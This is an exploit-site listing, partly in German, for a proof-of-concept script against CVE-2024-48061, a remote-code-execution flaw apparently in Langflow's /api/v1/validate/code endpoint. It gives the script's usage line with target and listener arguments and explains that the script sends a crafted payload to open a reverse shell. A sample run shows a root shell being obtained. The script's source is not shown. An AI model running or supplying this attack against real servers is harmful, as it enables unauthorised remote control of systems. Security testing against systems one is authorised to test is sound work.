Sploitus

Exploit for CVE-2024-48061

kitploit · 2026-08-26

Exploit Code

MARKDOWN36 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-BWITHE-CVE-2024-48061
# CVE-2024-48061 Langflow anfällig für Remote-Code-Ausführung

## CVE-2024-48061 poc

## Verwendung

root@kitploit:~
    
    
    python3 poc.py -i <web_ip> -p <web_port> -l <listener_ip> -lp <listener_port>
    

## Beschreibung

Dieses Skript nutzt einen anfälligen API-Endpunkt unter `/api/v1/validate/code` auf dem Ziel-Webserver aus. Es überprüft zunächst das Vorhandensein des anfälligen Pfades, startet dann einen TCP-Listener auf der angegebenen Listener-IP und dem Port. Sobald der Listener bereit ist, sendet es eine speziell präparierte Nutzlast an das Ziel, um eine Reverse-Shell zu starten, die sich mit dem Listener verbindet.

## Beispiel

  * Erfolgreicher Versuch



root@kitploit:~
    
    
    python3 poc3.py -i 192.168.0.2 -p 7860 -l 192.168.0.3 -lp 4444
    [+] Vulnerability detected at http://192.168.0.2:7860/api/v1/validate/code
    [+] Listening on 192.168.0.3:4444 ...
    [+] Sending payload to http://192.168.0.2:7860/api/v1/validate/code
    [+] Connection from 192.168.0.2:60440
    # whoami
    whoami
    root
    # exit
    [*] Exiting shell.